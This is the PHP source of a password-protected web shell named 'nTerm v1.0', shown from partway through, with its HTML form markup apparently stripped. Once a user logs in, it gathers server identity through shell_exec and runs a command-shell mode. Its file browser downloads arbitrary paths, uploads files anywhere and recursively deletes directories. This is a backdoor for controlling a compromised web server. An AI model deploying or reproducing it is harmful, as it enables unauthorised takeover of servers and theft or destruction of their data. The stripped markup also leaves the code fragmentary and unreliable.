\n\n\n\n\n
".
           "            ooooooooooooo \n".                                     
           "            8'   888   `8 \n".                                     
           "ooo. .oo.        888       .ooooo.  oooo d8b ooo. .oo.  .oo.  \n". 
           "`888P\"Y88b       888      d88' `88b `888\"\"8P `888P\"Y88bP\"Y88b \n". 
           " 888   888       888      888ooo888  888      888   888   888 \n". 
           " 888   888       888      888    .o  888      888   888   888 \n". 
           "o888o o888o     o888o     `Y8bod8P' d888b    o888o o888o o888o\n".
           strofchr(80, "_")."\n";                                                  
  }
  
  function printend()
  {
      echo "     ---[ nTerm v1.0 alpha # Build 1 ]---
"; } function PrintMenu() { global $nterm; echo "\n-[ SYSinfo ]- -[ Shell ]- -[ File Browser ]- -[ LogOut -]\n". strofchr(80, "_")."\n\n"; } function strofchr($len, $chr) { $str = ""; for ($i = 0;$i <= $len;$i++) $str .= $chr; return $str; } // Recursive dirs erase function remove_dir($dir) { $handle = opendir($dir); while (false!==($item = readdir($handle))) { if($item != '.' && $item != '..') { if(is_dir($dir.'/'.$item)) remove_dir($dir.'/'.$item); else unlink($dir.'/'.$item); } } closedir($handle); $success = False; if(rmdir($dir)) { $success = true; } return $success; } session_start(); if ($_SESSION["auth"]) { if (empty($_GET["nuly"])) printhd(); $mod = $_POST["mod"]; if (empty($mod)) $mod = $_GET["mod"]; if ($mod == "logout") { $_SESSION["auth"] = False; echo "\n\nLogged Out!\n\n"; } else { if (empty($_GET["nuly"])) printmenu(); if (empty($mod)) { // TODO: Make it to init at startup if (defined("mswin")) $whoami = shell_exec("ECHO %username%@%userdomain%"); else $whoami = str_replace("\n", "", shell_exec("whoami")."@".shell_exec("uname -n")); echo "Serv addr: {$_SERVER["SERVER_ADDR"]}\n". "Server name: {$_SERVER["SERVER_NAME"]}\n". "Server sw: {$_SERVER["SERVER_SOFTWARE"]}\n". "Proto: {$_SERVER["SERVER_PROTOCOL"]}\n". "Document root: {$_SERVER["DOCUMENT_ROOT"]}\n". "Script path: ".str_replace("//", "/", $_SERVER["DOCUMENT_ROOT"].$_SERVER["SCRIPT_NAME"])."\n". "Server user: $whoami\n"; } if ($mod == "shell") { if (defined("mswin")) $whoami = shell_exec("ECHO %username%@%userdomain%"); else $whoami = str_replace("\n", "", shell_exec("whoami")."@".shell_exec("uname -n")); $whoami = str_replace("\n", "", "$whoami:/".basename($_SESSION["dirsh"])."> "); $hist = $_POST["hist"]; // I know it's lame :P $e = False; $comma = str_replace("\\\"", "\"", $_POST["comma"]); $comma = str_replace("\\'", "'", $comma); $comma = str_replace("\\\\", "\\", $comma); if ($comma == "clear") $comma = "cls"; if ($comma == "cls") { $res = "nTerm v1.0 - n00b's playtoy"; $hist = ""; } else if ($comma == "cd") $res = $_SESSION["dirsh"]; else if (substr($comma, 0, 3) == "cd ") { chdir($_SESSION["dirsh"]); chdir(substr($comma, 3, strlen($comma))); $_SESSION["dirsh"] = getcwd(); if (defined("mswin")) $whoami = shell_exec("ECHO %username%@%userdomain%"); else $whoami = str_replace("\n", "", shell_exec("whoami")."@".shell_exec("uname -n")); $whoami = str_replace("\n", "", "$whoami:/".basename($_SESSION["dirsh"])."> "); } else { $e = True; } $hist = str_replace("\\\"", "\"", $hist); $hist = str_replace("\\'", "'", $hist); $hist = str_replace("\\\\", "\\", $hist); $hist = htmlspecialchars($hist); echo "
". "\n\n". "$whoami  ". "
\n". ""; } if ($mod == "mkdir") { if (empty($_GET["dir"])) { echo "
". "Dir name:  ". "
"; } else { mkdir($_SESSION["dirls"]."/".$_GET["dir"]); $mod = "fb"; } } if ($mod == "chdir") { if (empty($_GET["dir"])) { echo "
". "Dir to navigate:  ". "
"; } else { $mod = "fb"; $_SESSION["dirls"] = str_replace("\\\\", "\\", $_GET["dir"]); } } if ($mod == "get") { header("Content-Type: application/octet-stream"); header('Content-Disposition: attachment; filename="'.basename($_GET["cd"]).'"'); header("Content-Length: ".@filesize($_GET["cd"])); readfile($_GET["cd"]); exit(); } if ($mod == "upl") { if (!is_uploaded_file($_FILES['uploadfile']['tmp_name'])) { echo "Upload file into dir: {$_SESSION["dirls"]}\n\n". "
". "File: ". "\n\n". "
"; } else { if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $_SESSION["dirls"]."/".basename($_FILES['uploadfile'.$i]['name']))) { echo "File uploaded!\n\n"; $mod = "fb"; } else { echo "File upload error!\n\n"; $mod = "fb"; } } } if ($mod == "df_fb") { if (!empty($_GET["f"])) { if (unlink($_GET["f"])) echo "File {$_GET["f"]} deleted sucesfully!\n\n"; else echo "Error at deleting!\n\n"; } if (!empty($_GET["d"])) { if (remove_dir($_GET["d"])) echo "Directory {$_GET["d"]} deleted sucsefully!\n\n"; else echo "Error at deleting\n\n"; } $mod = "fb"; } if ($mod == "fb") { $dh = opendir($_SESSION["dirls"]); echo "Upload file - Chdir - mkdir\nCurrent dir: {$_SESSION["dirls"]}\n\nFilename: Size: Created: Accesed: Owner: Actions: \n"; $dirs = 0; $files = 0; while (false !== ($file = readdir($dh))) { if (is_dir($_SESSION["dirls"].$file)) { $dirs++; $diry[$dirs] = $file; } else { $files++; $fily[$files] = $file; } } closedir($dh); $sd = $_SESSION["dirls"]."/"; echo ".. <DIR> 0000 01.01.00 00:00:00 01.01.00 00:00:00 0 Chdir\n"; for ($i = 0;$i <= $dirs;$i++) { if (($diry[$i] != '..') && ($diry[$i] != '.') && (!empty($diry[$i]))) { $name = $diry[$i]; $diry[$i] = $_SESSION["dirls"].$diry[$i]; if (strlen($name) > 19) $name = substr($name, 0, 16)."..."; echo $name.strofchr(20 - strlen($name), " ")."<DIR> ". substr(sprintf('%o', fileperms($diry[$i])), -4)." ". date("d.m.y H:i:s", filectime($diry[$i]))." ". date("d.m.y H:i:s", fileatime($diry[$i]))." ". fileowner($diry[$i])." Chdir Del\n"; } } for ($i = 0;$i <= $files;$i++) { if (!empty($fily[$i])) { $name = $fily[$i]; $fily[$i] = $sd.$fily[$i]; if (strlen($name) > 19) { $name = substr($name, 0, 16)."..."; $fn_o = True; } else $fn_o = False; $size = filesize($fily[$i]); $pf = "B"; if ($size > 1024) { $size = round($size / 1024, 3); $pf = "KB"; } if ($size > 1024) { $size = round($size / 1024, 3); $pf = "MB"; } $st = $size." ".$pf; echo $name.strofchr(20 - strlen($name), " ").$st.strofchr(11 - strlen($st), " "). // 12 substr(sprintf('%o', fileperms($fily[$i])), -4)." ". date("d.m.y H:i:s", filectime($fily[$i]))." ". date("d.m.y H:i:s", fileatime($fily[$i]))." ". fileowner($fily[$i])." "; echo "Get Del \n"; } } echo "\n"; } } } else { $ok = True; if (!empty($_POST["pw"])) { if (defined("md5")) $npw = md5($_POST["pw"]); else $npw = $_POST["pw"]; if ($pw == $npw) { $_SESSION["auth"] = True; $_SESSION["dirls"] = dirname(str_replace("//", "/", $_SERVER["DOCUMENT_ROOT"].$_SERVER["SCRIPT_NAME"])); $_SESSION["dirsh"] = dirname(str_replace("//", "/", $_SERVER["DOCUMENT_ROOT"].$_SERVER["SCRIPT_NAME"])); header("location: $nterm"); exit; } else $ok = False; } else $ok = False; if (!$ok) { printhd(); echo "\n\n
Enter pw:  
"; } } if (empty($_GET["nuly"])) printend(); ?>